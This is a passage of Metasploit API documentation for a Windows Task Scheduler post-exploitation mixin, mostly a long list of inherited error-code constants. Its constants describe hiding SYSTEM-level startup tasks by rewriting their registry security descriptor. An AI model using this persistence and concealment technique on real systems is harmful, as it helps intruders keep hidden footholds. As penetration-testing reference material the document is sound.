Module: Msf::Post::Windows::TaskScheduler

Includes:
Module::UI::Message, Common, Priv
Defined in:
lib/msf/core/post/windows/task_scheduler.rb

Overview

Post module mixin for dealing with Windows Task Scheduler

Defined Under Namespace

Classes: TaskSchedulerError, TaskSchedulerObfuscationError, TaskSchedulerSystemPrivsError

Constant Summary collapse

TASK_REG_KEY =
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree'.freeze
TASK_SD_REG_VALUE =

Security descriptor value

'SD'.freeze
DEFAULT_SD =

This Security Descriptor correspond to the builtin ‘Guest’ user and built-in ‘Guests’ group. This has been generated from the following security descriptor string: “O:BGG:BG”

'01000080140000002400000000000000000000000102000000000005200000002202000001020000000000052000000022020000'.freeze
SCHED_S_TASK_RUNNING =

HRESULT returned in the field ‘Last Result` by `schtasks /query` when the task is currently running (see docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/705fb797-2175-4a90-b5a3-3918024b10b8)

0x00041301
DEFAULT_SCHEDULE_TASK_TYPE =
'ONSTART'.freeze
DEFAULT_SCHEDULE_MODIFIER =
1
DEFAULT_SCHEDULE_RUNAS =
'SYSTEM'.freeze
DEFAULT_SCHEDULE_OBFUSCATION_TECHNIQUE =
'SECURITY_DESC'.freeze

Constants included from Priv

Priv::ADMINISTRATORS_SID, Priv::INTEGRITY_LEVEL_SID, Priv::SYSTEM_SID, Priv::UAC_DEFAULT, Priv::UAC_NO_PROMPT, Priv::UAC_PROMPT_CONSENT, Priv::UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, Priv::UAC_PROMPT_CREDS, Priv::UAC_PROMPT_CREDS_IF_SECURE_DESKTOP

Constants included from Registry

Registry::HKEY_CLASSES_ROOT, Registry::HKEY_CURRENT_CONFIG, Registry::HKEY_CURRENT_USER, Registry::HKEY_DYN_DATA, Registry::HKEY_LOCAL_MACHINE, Registry::HKEY_PERFORMANCE_DATA, Registry::HKEY_USERS, Registry::REGISTRY_VIEW_32_BIT, Registry::REGISTRY_VIEW_64_BIT, Registry::REGISTRY_VIEW_NATIVE, Registry::REG_BIG_ENDIAN, Registry::REG_BINARY, Registry::REG_DWORD, Registry::REG_EXPAND_SZ, Registry::REG_LINK, Registry::REG_LITTLE_ENDIAN, Registry::REG_MULTI_SZ, Registry::REG_NONE, Registry::REG_QWORD, Registry::REG_SZ

Constants included from Accounts

Accounts::DOMAIN_CONTROLLER_INFO, Accounts::GROUP_INFO, Accounts::GROUP_USERS_INFO, Accounts::GUID, Accounts::LOCALGROUP_INFO, Accounts::LOCALGROUP_MEMBERS_INFO, Accounts::USER_INFO

Constants included from Error

Error::ABANDONED_WAIT_0, Error::ABANDONED_WAIT_63, Error::ABANDON_HIBERFILE, Error::ABIOS_ERROR, Error::ACCESS_AUDIT_BY_POLICY, Error::ACCESS_DENIED, Error::ACCESS_DISABLED_BY_POLICY, Error::ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY, Error::ACCESS_DISABLED_WEBBLADE, Error::ACCESS_DISABLED_WEBBLADE_TAMPER, Error::ACCOUNT_DISABLED, Error::ACCOUNT_EXPIRED, Error::ACCOUNT_LOCKED_OUT, Error::ACCOUNT_RESTRICTION, Error::ACPI_ERROR, Error::ACTIVATION_COUNT_EXCEEDED, Error::ACTIVE_CONNECTIONS, Error::ADAP_HDW_ERR, Error::ADDRESS_ALREADY_ASSOCIATED, Error::ADDRESS_NOT_ASSOCIATED, Error::ADVANCED_INSTALLER_FAILED, Error::ALERTED, Error::ALIAS_EXISTS, Error::ALLOCATE_BUCKET, Error::ALLOTTED_SPACE_EXCEEDED, Error::ALL_NODES_NOT_AVAILABLE, Error::ALL_USER_TRUST_QUOTA_EXCEEDED, Error::ALREADY_ASSIGNED, Error::ALREADY_EXISTS, Error::ALREADY_FIBER, Error::ALREADY_INITIALIZED, Error::ALREADY_REGISTERED, Error::ALREADY_RUNNING_LKG, Error::ALREADY_THREAD, Error::ALREADY_WAITING, Error::ALREADY_WIN32, Error::AMBIGUOUS_SYSTEM_DEVICE, Error::APPHELP_BLOCK, Error::APP_INIT_FAILURE, Error::APP_WRONG_OS, Error::ARBITRATION_UNHANDLED, Error::ARENA_TRASHED, Error::ARITHMETIC_OVERFLOW, Error::ASSERTION_FAILURE, Error::ATOMIC_LOCKS_NOT_SUPPORTED, Error::AUDIT_FAILED, Error::AUTHENTICATION_FIREWALL_FAILED, Error::AUTHIP_FAILURE, Error::AUTODATASEG_EXCEEDS_64k, Error::BACKUP_CONTROLLER, Error::BADDB, Error::BADKEY, Error::BADSTARTPOSITION, Error::BAD_ACCESSOR_FLAGS, Error::BAD_ARGUMENTS, Error::BAD_CLUSTERS, Error::BAD_COMMAND, Error::BAD_COMPRESSION_BUFFER, Error::BAD_CONFIGURATION, Error::BAD_CURRENT_DIRECTORY, Error::BAD_DESCRIPTOR_FORMAT, Error::BAD_DEVICE, Error::BAD_DEV_TYPE, Error::BAD_DLL_ENTRYPOINT, Error::BAD_DRIVER, Error::BAD_DRIVER_LEVEL, Error::BAD_ENVIRONMENT, Error::BAD_EXE_FORMAT, Error::BAD_FILE_TYPE, Error::BAD_FORMAT, Error::BAD_FUNCTION_TABLE, Error::BAD_IMPERSONATION_LEVEL, Error::BAD_INHERITANCE_ACL, Error::BAD_LENGTH, Error::BAD_LOGON_SESSION_STATE, Error::BAD_MCFG_TABLE, Error::BAD_NETPATH, Error::BAD_NET_NAME, Error::BAD_NET_RESP, Error::BAD_PATHNAME, Error::BAD_PIPE, Error::BAD_PROFILE, Error::BAD_PROVIDER, Error::BAD_QUERY_SYNTAX, Error::BAD_RECOVERY_POLICY, Error::BAD_REM_ADAP, Error::BAD_SERVICE_ENTRYPOINT, Error::BAD_STACK, Error::BAD_THREADID_ADDR, Error::BAD_TOKEN_TYPE, Error::BAD_UNIT, Error::BAD_USERNAME, Error::BAD_USER_PROFILE, Error::BAD_VALIDATION_CLASS, Error::BEGINNING_OF_MEDIA, Error::BEYOND_VDL, Error::BIOS_FAILED_TO_CONNECT_INTERRUPT, Error::BOOT_ALREADY_ACCEPTED, Error::BROKEN_PIPE, Error::BUFFER_ALL_ZEROS, Error::BUFFER_OVERFLOW, Error::BUSY, Error::BUSY_DRIVE, Error::BUS_RESET, Error::CACHE_PAGE_LOCKED, Error::CALLBACK_POP_STACK, Error::CALLBACK_SUPPLIED_INVALID_DATA, Error::CALL_NOT_IMPLEMENTED, Error::CANCELLED, Error::CANCEL_VIOLATION, Error::CANNOT_ABORT_TRANSACTIONS, Error::CANNOT_ACCEPT_TRANSACTED_WORK, Error::CANNOT_BREAK_OPLOCK, Error::CANNOT_COPY, Error::CANNOT_DETECT_DRIVER_FAILURE, Error::CANNOT_DETECT_PROCESS_ABORT, Error::CANNOT_EXECUTE_FILE_IN_TRANSACTION, Error::CANNOT_FIND_WND_CLASS, Error::CANNOT_GRANT_REQUESTED_OPLOCK, Error::CANNOT_IMPERSONATE, Error::CANNOT_LOAD_REGISTRY_FILE, Error::CANNOT_MAKE, Error::CANNOT_OPEN_PROFILE, Error::CANTFETCHBACKWARDS, Error::CANTOPEN, Error::CANTREAD, Error::CANTSCROLLBACKWARDS, Error::CANTWRITE, Error::CANT_ACCESS_DOMAIN_INFO, Error::CANT_ACCESS_FILE, Error::CANT_BREAK_TRANSACTIONAL_DEPENDENCY, Error::CANT_CREATE_MORE_STREAM_MINIVERSIONS, Error::CANT_CROSS_RM_BOUNDARY, Error::CANT_DELETE_LAST_ITEM, Error::CANT_DISABLE_MANDATORY, Error::CANT_ENABLE_DENY_ONLY, Error::CANT_EVICT_ACTIVE_NODE, Error::CANT_OPEN_ANONYMOUS, Error::CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT, Error::CANT_RECOVER_WITH_HANDLE_OPEN, Error::CANT_RESOLVE_FILENAME, Error::CANT_TERMINATE_SELF, Error::CANT_WAIT, Error::CAN_NOT_COMPLETE, Error::CAN_NOT_DEL_LOCAL_WINS, Error::CARDBUS_NOT_SUPPORTED, Error::CHECKING_FILE_SYSTEM, Error::CHECKOUT_REQUIRED, Error::CHILD_MUST_BE_VOLATILE, Error::CHILD_NOT_COMPLETE, Error::CHILD_WINDOW_MENU, Error::CIRCULAR_DEPENDENCY, Error::CLASS_ALREADY_EXISTS, Error::CLASS_DOES_NOT_EXIST, Error::CLASS_HAS_WINDOWS, Error::CLEANER_CARTRIDGE_INSTALLED, Error::CLEANER_CARTRIDGE_SPENT, Error::CLEANER_SLOT_NOT_SET, Error::CLEANER_SLOT_SET, Error::CLIENT_SERVER_PARAMETERS_INVALID, Error::CLIPBOARD_NOT_OPEN, Error::CLIPPING_NOT_SUPPORTED, Error::CLUSCFG_ALREADY_COMMITTED, Error::CLUSCFG_ROLLBACK_FAILED, Error::CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT, Error::CLUSTERLOG_CHKPOINT_NOT_FOUND, Error::CLUSTERLOG_CORRUPT, Error::CLUSTERLOG_EXCEEDS_MAXSIZE, Error::CLUSTERLOG_NOT_ENOUGH_SPACE, Error::CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE, Error::CLUSTER_BACKUP_IN_PROGRESS, Error::CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME, Error::CLUSTER_CANT_DESERIALIZE_DATA, Error::CLUSTER_DATABASE_SEQMISMATCH, Error::CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS, Error::CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS, Error::CLUSTER_EVICT_INVALID_REQUEST, Error::CLUSTER_EVICT_WITHOUT_CLEANUP, Error::CLUSTER_GROUP_BUSY, Error::CLUSTER_GROUP_MOVING, Error::CLUSTER_GROUP_SINGLETON_RESOURCE, Error::CLUSTER_GUM_NOT_LOCKER, Error::CLUSTER_INCOMPATIBLE_VERSIONS, Error::CLUSTER_INSTANCE_ID_MISMATCH, Error::CLUSTER_INTERNAL_INVALID_FUNCTION, Error::CLUSTER_INVALID_IPV6_NETWORK, Error::CLUSTER_INVALID_IPV6_TUNNEL_NETWORK, Error::CLUSTER_INVALID_NETWORK, Error::CLUSTER_INVALID_NETWORK_PROVIDER, Error::CLUSTER_INVALID_NODE, Error::CLUSTER_INVALID_REQUEST, Error::CLUSTER_INVALID_SECURITY_DESCRIPTOR, Error::CLUSTER_INVALID_STRING_FORMAT, Error::CLUSTER_INVALID_STRING_TERMINATION, Error::CLUSTER_IPADDR_IN_USE, Error::CLUSTER_JOIN_ABORTED, Error::CLUSTER_JOIN_IN_PROGRESS, Error::CLUSTER_JOIN_NOT_IN_PROGRESS, Error::CLUSTER_LAST_INTERNAL_NETWORK, Error::CLUSTER_LOCAL_NODE_NOT_FOUND, Error::CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED, Error::CLUSTER_MAX_NODES_IN_CLUSTER, Error::CLUSTER_MEMBERSHIP_HALT, Error::CLUSTER_MEMBERSHIP_INVALID_STATE, Error::CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME, Error::CLUSTER_NETINTERFACE_EXISTS, Error::CLUSTER_NETINTERFACE_NOT_FOUND, Error::CLUSTER_NETWORK_ALREADY_OFFLINE, Error::CLUSTER_NETWORK_ALREADY_ONLINE, Error::CLUSTER_NETWORK_EXISTS, Error::CLUSTER_NETWORK_HAS_DEPENDENTS, Error::CLUSTER_NETWORK_NOT_FOUND, Error::CLUSTER_NETWORK_NOT_FOUND_FOR_IP, Error::CLUSTER_NETWORK_NOT_INTERNAL, Error::CLUSTER_NODE_ALREADY_DOWN, Error::CLUSTER_NODE_ALREADY_HAS_DFS_ROOT, Error::CLUSTER_NODE_ALREADY_MEMBER, Error::CLUSTER_NODE_ALREADY_UP, Error::CLUSTER_NODE_DOWN, Error::CLUSTER_NODE_EXISTS, Error::CLUSTER_NODE_NOT_FOUND, Error::CLUSTER_NODE_NOT_MEMBER, Error::CLUSTER_NODE_NOT_PAUSED, Error::CLUSTER_NODE_NOT_READY, Error::CLUSTER_NODE_PAUSED, Error::CLUSTER_NODE_SHUTTING_DOWN, Error::CLUSTER_NODE_UNREACHABLE, Error::CLUSTER_NODE_UP, Error::CLUSTER_NOT_INSTALLED, Error::CLUSTER_NOT_SHARED_VOLUME, Error::CLUSTER_NO_NET_ADAPTERS, Error::CLUSTER_NO_QUORUM, Error::CLUSTER_NO_RPC_PACKAGES_REGISTERED, Error::CLUSTER_NO_SECURITY_CONTEXT, Error::CLUSTER_NULL_DATA, Error::CLUSTER_OBJECT_ALREADY_USED, Error::CLUSTER_OLD_VERSION, Error::CLUSTER_OWNER_NOT_IN_PREFLIST, Error::CLUSTER_PARAMETER_MISMATCH, Error::CLUSTER_PARAMETER_OUT_OF_BOUNDS, Error::CLUSTER_PARTIAL_READ, Error::CLUSTER_PARTIAL_SEND, Error::CLUSTER_PARTIAL_WRITE, Error::CLUSTER_POISONED, Error::CLUSTER_PROPERTY_DATA_TYPE_MISMATCH, Error::CLUSTER_QUORUMLOG_NOT_FOUND, Error::CLUSTER_REGISTRY_INVALID_FUNCTION, Error::CLUSTER_RESNAME_NOT_FOUND, Error::CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE, Error::CLUSTER_RESOURCE_CONFIGURATION_ERROR, Error::CLUSTER_RESOURCE_PROVIDER_FAILED, Error::CLUSTER_RESOURCE_TYPE_BUSY, Error::CLUSTER_RESOURCE_TYPE_NOT_FOUND, Error::CLUSTER_RESTYPE_NOT_SUPPORTED, Error::CLUSTER_RHS_FAILED_INITIALIZATION, Error::CLUSTER_SHARED_VOLUMES_IN_USE, Error::CLUSTER_SHUTTING_DOWN, Error::CLUSTER_SINGLETON_RESOURCE, Error::CLUSTER_SYSTEM_CONFIG_CHANGED, Error::CLUSTER_TOO_MANY_NODES, Error::CLUSTER_USE_SHARED_VOLUMES_API, Error::CLUSTER_WATCHDOG_TERMINATING, Error::CLUSTER_WRONG_OS_VERSION, Error::COLORSPACE_MISMATCH, Error::COMMITMENT_LIMIT, Error::COMMITMENT_MINIMUM, Error::COMPRESSION_DISABLED, Error::COMPRESSION_NOT_ALLOWED_IN_TRANSACTION, Error::CONNECTED_OTHER_PASSWORD, Error::CONNECTED_OTHER_PASSWORD_DEFAULT, Error::CONNECTION_ABORTED, Error::CONNECTION_ACTIVE, Error::CONNECTION_COUNT_LIMIT, Error::CONNECTION_INVALID, Error::CONNECTION_REFUSED, Error::CONNECTION_UNAVAIL, Error::CONTENT_BLOCKED, Error::CONTEXT_EXPIRED, Error::CONTINUE, Error::CONTROLLING_IEPORT, Error::CONTROL_C_EXIT, Error::CONTROL_ID_NOT_FOUND, Error::CONVERT_TO_LARGE, Error::CORE_DRIVER_PACKAGE_NOT_FOUND, Error::CORE_RESOURCE, Error::CORRUPT_SYSTEM_FILE, Error::COULD_NOT_INTERPRET, Error::COULD_NOT_RESIZE_LOG, Error::COUNTER_TIMEOUT, Error::CRASH_DUMP, Error::CRC, Error::CREATE_FAILED, Error::CRM_PROTOCOL_ALREADY_EXISTS, Error::CRM_PROTOCOL_NOT_FOUND, Error::CSCSHARE_OFFLINE, Error::CSV_VOLUME_NOT_LOCAL, Error::CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE, Error::CS_ENCRYPTION_FILE_NOT_CSE, Error::CS_ENCRYPTION_INVALID_SERVER_RESPONSE, Error::CS_ENCRYPTION_NEW_ENCRYPTED_FILE, Error::CS_ENCRYPTION_UNSUPPORTED_SERVER, Error::CTX_ACCOUNT_RESTRICTION, Error::CTX_BAD_VIDEO_MODE, Error::CTX_CANNOT_MAKE_EVENTLOG_ENTRY, Error::CTX_CDM_CONNECT, Error::CTX_CDM_DISCONNECT, Error::CTX_CLIENT_LICENSE_IN_USE, Error::CTX_CLIENT_LICENSE_NOT_SET, Error::CTX_CLIENT_QUERY_TIMEOUT, Error::CTX_CLOSE_PENDING, Error::CTX_CONSOLE_CONNECT, Error::CTX_CONSOLE_DISCONNECT, Error::CTX_ENCRYPTION_LEVEL_REQUIRED, Error::CTX_GRAPHICS_INVALID, Error::CTX_INVALID_MODEMNAME, Error::CTX_INVALID_PD, Error::CTX_INVALID_WD, Error::CTX_LICENSE_CLIENT_INVALID, Error::CTX_LICENSE_EXPIRED, Error::CTX_LICENSE_NOT_AVAILABLE, Error::CTX_LOGON_DISABLED, Error::CTX_MODEM_INF_NOT_FOUND, Error::CTX_MODEM_RESPONSE_BUSY, Error::CTX_MODEM_RESPONSE_ERROR, Error::CTX_MODEM_RESPONSE_NO_CARRIER, Error::CTX_MODEM_RESPONSE_NO_DIALTONE, Error::CTX_MODEM_RESPONSE_TIMEOUT, Error::CTX_MODEM_RESPONSE_VOICE, Error::CTX_NOT_CONSOLE, Error::CTX_NO_FORCE_LOGOFF, Error::CTX_NO_OUTBUF, Error::CTX_PD_NOT_FOUND, Error::CTX_SECURITY_LAYER_ERROR, Error::CTX_SERVICE_NAME_COLLISION, Error::CTX_SESSION_IN_USE, Error::CTX_SHADOW_DENIED, Error::CTX_SHADOW_DISABLED, Error::CTX_SHADOW_ENDED_BY_MODE_CHANGE, Error::CTX_SHADOW_INVALID, Error::CTX_SHADOW_NOT_RUNNING, Error::CTX_TD_ERROR, Error::CTX_WD_NOT_FOUND, Error::CTX_WINSTATIONS_DISABLED, Error::CTX_WINSTATION_ACCESS_DENIED, Error::CTX_WINSTATION_ALREADY_EXISTS, Error::CTX_WINSTATION_BUSY, Error::CTX_WINSTATION_NAME_INVALID, Error::CTX_WINSTATION_NOT_FOUND, Error::CURRENT_DIRECTORY, Error::CURRENT_DOMAIN_NOT_ALLOWED, Error::CURRENT_TRANSACTION_NOT_VALID, Error::DATABASE_BACKUP_CORRUPT, Error::DATABASE_DOES_NOT_EXIST, Error::DATABASE_FAILURE, Error::DATABASE_FULL, Error::DATATYPE_MISMATCH, Error::DATA_LOST_REPAIR, Error::DATA_NOT_ACCEPTED, Error::DBG_COMMAND_EXCEPTION, Error::DBG_CONTINUE, Error::DBG_CONTROL_BREAK, Error::DBG_CONTROL_C, Error::DBG_EXCEPTION_HANDLED, Error::DBG_EXCEPTION_NOT_HANDLED, Error::DBG_PRINTEXCEPTION_C, Error::DBG_REPLY_LATER, Error::DBG_RIPEXCEPTION, Error::DBG_TERMINATE_PROCESS, Error::DBG_TERMINATE_THREAD, Error::DBG_UNABLE_TO_PROVIDE_HANDLE, Error::DC_NOT_FOUND, Error::DDE_FAIL, Error::DEBUGGER_INACTIVE, Error::DEBUG_ATTACH_FAILED, Error::DECRYPTION_FAILED, Error::DELAY_LOAD_FAILED, Error::DELETE_PENDING, Error::DELETING_ICM_XFORM, Error::DEPENDENCY_ALREADY_EXISTS, Error::DEPENDENCY_NOT_ALLOWED, Error::DEPENDENCY_NOT_FOUND, Error::DEPENDENCY_TREE_TOO_COMPLEX, Error::DEPENDENT_RESOURCE_EXISTS, Error::DEPENDENT_RESOURCE_PROPERTY_CONFLICT, Error::DEPENDENT_SERVICES_RUNNING, Error::DESTINATION_ELEMENT_FULL, Error::DESTROY_OBJECT_OF_OTHER_THREAD, Error::DEVICE_ALREADY_ATTACHED, Error::DEVICE_ALREADY_REMEMBERED, Error::DEVICE_DOOR_OPEN, Error::DEVICE_ENUMERATION_ERROR, Error::DEVICE_IN_USE, Error::DEVICE_NOT_AVAILABLE, Error::DEVICE_NOT_CONNECTED, Error::DEVICE_NOT_PARTITIONED, Error::DEVICE_REINITIALIZATION_NEEDED, Error::DEVICE_REMOVED, Error::DEVICE_REQUIRES_CLEANING, Error::DEV_NOT_EXIST, Error::DHCP_ADDRESS_CONFLICT, Error::DIFFERENT_SERVICE_ACCOUNT, Error::DIRECTORY, Error::DIRECTORY_NOT_RM, Error::DIRECT_ACCESS_HANDLE, Error::DIR_EFS_DISALLOWED, Error::DIR_NOT_EMPTY, Error::DIR_NOT_ROOT, Error::DISCARDED, Error::DISK_CHANGE, Error::DISK_CORRUPT, Error::DISK_FULL, Error::DISK_OPERATION_FAILED, Error::DISK_QUOTA_EXCEEDED, Error::DISK_RECALIBRATE_FAILED, Error::DISK_REPAIR_DISABLED, Error::DISK_RESET_FAILED, Error::DISK_TOO_FRAGMENTED, Error::DLL_INIT_FAILED, Error::DLL_INIT_FAILED_LOGOFF, Error::DLL_MIGHT_BE_INCOMPATIBLE, Error::DLL_MIGHT_BE_INSECURE, Error::DLL_NOT_FOUND, Error::DNS_ALIAS_LOOP, Error::DNS_AUTOZONE_ALREADY_EXISTS, Error::DNS_AXFR, Error::DNS_BACKGROUND_LOADING, Error::DNS_BAD_PACKET, Error::DNS_CANNOT_FIND_ROOT_HINTS, Error::DNS_CNAME_COLLISION, Error::DNS_CNAME_LOOP, Error::DNS_DATAFILE_OPEN_FAILURE, Error::DNS_DATAFILE_PARSING, Error::DNS_DELEGATION_REQUIRED, Error::DNS_DNAME_COLLISION, Error::DNS_DP_ALREADY_ENLISTED, Error::DNS_DP_ALREADY_EXISTS, Error::DNS_DP_DOES_NOT_EXIST, Error::DNS_DP_FSMO_ERROR, Error::DNS_DP_NOT_AVAILABLE, Error::DNS_DP_NOT_ENLISTED, Error::DNS_DS_UNAVAILABLE, Error::DNS_DS_ZONE_ALREADY_EXISTS, Error::DNS_DWORD_VALUE_TOO_LARGE, Error::DNS_DWORD_VALUE_TOO_SMALL, Error::DNS_FILE_WRITEBACK_FAILED, Error::DNS_FORWARDER_ALREADY_EXISTS, Error::DNS_INCONSISTENT_ROOT_HINTS, Error::DNS_INFO_ADDED_LOCAL_WINS, Error::DNS_INFO_AXFR_COMPLETE, Error::DNS_INFO_NO_RECORDS, Error::DNS_INVALID_DATAFILE_NAME, Error::DNS_INVALID_IP_ADDRESS, Error::DNS_INVALID_NAME_CHAR, Error::DNS_INVALID_POLICY_TABLE, Error::DNS_INVALID_PROPERTY, Error::DNS_INVALID_TYPE, Error::DNS_INVALID_ZONE_OPERATION, Error::DNS_INVALID_ZONE_TYPE, Error::DNS_NAME_DOES_NOT_EXIST, Error::DNS_NAME_NOT_IN_ZONE, Error::DNS_NBSTAT_INIT_FAILED, Error::DNS_NEED_SECONDARY_ADDRESSES, Error::DNS_NEED_WINS_SERVERS, Error::DNS_NODE_CREATION_FAILED, Error::DNS_NODE_IS_CNAME, Error::DNS_NODE_IS_DNAME, Error::DNS_NON_RFC_NAME, Error::DNS_NOT_ALLOWED_ON_RODC, Error::DNS_NOT_ALLOWED_ON_ROOT_SERVER, Error::DNS_NOT_ALLOWED_UNDER_DELEGATION, Error::DNS_NOT_ALLOWED_UNDER_DNAME, Error::DNS_NOT_UNIQUE, Error::DNS_NO_BOOTFILE_IF_DS_ZONE, Error::DNS_NO_CREATE_CACHE_DATA, Error::DNS_NO_DNS_SERVERS, Error::DNS_NO_PACKET, Error::DNS_NO_TCPIP, Error::DNS_NO_ZONE_INFO, Error::DNS_NUMERIC_NAME, Error::DNS_PRIMARY_REQUIRES_DATAFILE, Error::DNS_RCODE, Error::DNS_RCODE_BADKEY, Error::DNS_RCODE_BADSIG, Error::DNS_RCODE_BADTIME, Error::DNS_RCODE_FORMAT_ERROR, Error::DNS_RCODE_NAME_ERROR, Error::DNS_RCODE_NOTAUTH, Error::DNS_RCODE_NOTZONE, Error::DNS_RCODE_NOT_IMPLEMENTED, Error::DNS_RCODE_NXRRSET, Error::DNS_RCODE_REFUSED, Error::DNS_RCODE_SERVER_FAILURE, Error::DNS_RCODE_YXDOMAIN, Error::DNS_RCODE_YXRRSET, Error::DNS_RECORD_ALREADY_EXISTS, Error::DNS_RECORD_DOES_NOT_EXIST, Error::DNS_RECORD_FORMAT, Error::DNS_RECORD_ONLY_AT_ZONE_ROOT, Error::DNS_RECORD_TIMED_OUT, Error::DNS_SECONDARY_DATA, Error::DNS_SECONDARY_REQUIRES_MASTER_IP, Error::DNS_SOA_DELETE_INVALID, Error::DNS_STATUS_CONTINUE_NEEDED, Error::DNS_STATUS_DOTTED_NAME, Error::DNS_STATUS_FQDN, Error::DNS_STATUS_SINGLE_PART_NAME, Error::DNS_TRY_AGAIN_LATER, Error::DNS_UNKNOWN_RECORD_TYPE, Error::DNS_UNSECURE_PACKET, Error::DNS_WARNING_DOMAIN_UNDELETED, Error::DNS_WARNING_PTR_CREATE_FAILED, Error::DNS_WINS_INIT_FAILED, Error::DNS_ZONE_ALREADY_EXISTS, Error::DNS_ZONE_CONFIGURATION_ERROR, Error::DNS_ZONE_CREATION_FAILED, Error::DNS_ZONE_DOES_NOT_EXIST, Error::DNS_ZONE_HAS_NO_NS_RECORDS, Error::DNS_ZONE_HAS_NO_SOA_RECORD, Error::DNS_ZONE_IS_SHUTDOWN, Error::DNS_ZONE_LOCKED, Error::DNS_ZONE_NOT_SECONDARY, Error::DNS_ZONE_REQUIRES_MASTER_IP, Error::DOMAIN_CONTROLLER_EXISTS, Error::DOMAIN_CONTROLLER_NOT_FOUND, Error::DOMAIN_CTRLR_CONFIG_ERROR, Error::DOMAIN_EXISTS, Error::DOMAIN_LIMIT_EXCEEDED, Error::DOMAIN_TRUST_INCONSISTENT, Error::DOWNGRADE_DETECTED, Error::DRIVERS_LEAKING_LOCKED_PAGES, Error::DRIVER_BLOCKED, Error::DRIVER_CANCEL_TIMEOUT, Error::DRIVER_DATABASE_ERROR, Error::DRIVER_FAILED_PRIOR_UNLOAD, Error::DRIVER_FAILED_SLEEP, Error::DRIVER_PROCESS_TERMINATED, Error::DRIVE_LOCKED, Error::DRIVE_MEDIA_MISMATCH, Error::DS_ADD_REPLICA_INHIBITED, Error::DS_ADMIN_LIMIT_EXCEEDED, Error::DS_AFFECTS_MULTIPLE_DSAS, Error::DS_AG_CANT_HAVE_UNIVERSAL_MEMBER, Error::DS_ALIASED_OBJ_MISSING, Error::DS_ALIAS_DEREF_PROBLEM, Error::DS_ALIAS_POINTS_TO_ALIAS, Error::DS_ALIAS_PROBLEM, Error::DS_ATTRIBUTE_OR_VALUE_EXISTS, Error::DS_ATTRIBUTE_OWNED_BY_SAM, Error::DS_ATTRIBUTE_TYPE_UNDEFINED, Error::DS_ATT_ALREADY_EXISTS, Error::DS_ATT_IS_NOT_ON_OBJ, Error::DS_ATT_NOT_DEF_FOR_CLASS, Error::DS_ATT_NOT_DEF_IN_SCHEMA, Error::DS_ATT_SCHEMA_REQ_ID, Error::DS_ATT_SCHEMA_REQ_SYNTAX, Error::DS_ATT_VAL_ALREADY_EXISTS, Error::DS_AUDIT_FAILURE, Error::DS_AUTHORIZATION_FAILED, Error::DS_AUTH_METHOD_NOT_SUPPORTED, Error::DS_AUTH_UNKNOWN, Error::DS_AUX_CLS_TEST_FAIL, Error::DS_BACKLINK_WITHOUT_LINK, Error::DS_BAD_ATT_SCHEMA_SYNTAX, Error::DS_BAD_HIERARCHY_FILE, Error::DS_BAD_INSTANCE_TYPE, Error::DS_BAD_NAME_SYNTAX, Error::DS_BAD_RDN_ATT_ID_SYNTAX, Error::DS_BUILD_HIERARCHY_TABLE_FAILED, Error::DS_BUSY, Error::DS_CANT_ACCESS_REMOTE_PART_OF_AD, Error::DS_CANT_ADD_ATT_VALUES, Error::DS_CANT_ADD_SYSTEM_ONLY, Error::DS_CANT_ADD_TO_GC, Error::DS_CANT_CACHE_ATT, Error::DS_CANT_CACHE_CLASS, Error::DS_CANT_CREATE_IN_NONDOMAIN_NC, Error::DS_CANT_CREATE_UNDER_SCHEMA, Error::DS_CANT_DELETE, Error::DS_CANT_DELETE_DSA_OBJ, Error::DS_CANT_DEL_MASTER_CROSSREF, Error::DS_CANT_DEMOTE_WITH_WRITEABLE_NC, Error::DS_CANT_DEREF_ALIAS, Error::DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN, Error::DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF, Error::DS_CANT_FIND_DC_FOR_SRC_DOMAIN, Error::DS_CANT_FIND_DSA_OBJ, Error::DS_CANT_FIND_EXPECTED_NC, Error::DS_CANT_FIND_NC_IN_CACHE, Error::DS_CANT_MIX_MASTER_AND_REPS, Error::DS_CANT_MOD_OBJ_CLASS, Error::DS_CANT_MOD_PRIMARYGROUPID, Error::DS_CANT_MOD_SYSTEM_ONLY, Error::DS_CANT_MOVE_ACCOUNT_GROUP, Error::DS_CANT_MOVE_APP_BASIC_GROUP, Error::DS_CANT_MOVE_APP_QUERY_GROUP, Error::DS_CANT_MOVE_DELETED_OBJECT, Error::DS_CANT_MOVE_RESOURCE_GROUP, Error::DS_CANT_ON_NON_LEAF, Error::DS_CANT_ON_RDN, Error::DS_CANT_REMOVE_ATT_CACHE, Error::DS_CANT_REMOVE_CLASS_CACHE, Error::DS_CANT_REM_MISSING_ATT, Error::DS_CANT_REM_MISSING_ATT_VAL, Error::DS_CANT_REPLACE_HIDDEN_REC, Error::DS_CANT_RETRIEVE_ATTS, Error::DS_CANT_RETRIEVE_CHILD, Error::DS_CANT_RETRIEVE_DN, Error::DS_CANT_RETRIEVE_INSTANCE, Error::DS_CANT_RETRIEVE_SD, Error::DS_CANT_START, Error::DS_CANT_TREE_DELETE_CRITICAL_OBJ, Error::DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS, Error::DS_CHILDREN_EXIST, Error::DS_CLASS_MUST_BE_CONCRETE, Error::DS_CLASS_NOT_DSA, Error::DS_CLIENT_LOOP, Error::DS_CODE_INCONSISTENCY, Error::DS_COMPARE_FALSE, Error::DS_COMPARE_TRUE, Error::DS_CONFIDENTIALITY_REQUIRED, Error::DS_CONFIG_PARAM_MISSING, Error::DS_CONSTRAINT_VIOLATION, Error::DS_CONSTRUCTED_ATT_MOD, Error::DS_CONTROL_NOT_FOUND, Error::DS_COULDNT_CONTACT_FSMO, Error::DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE, 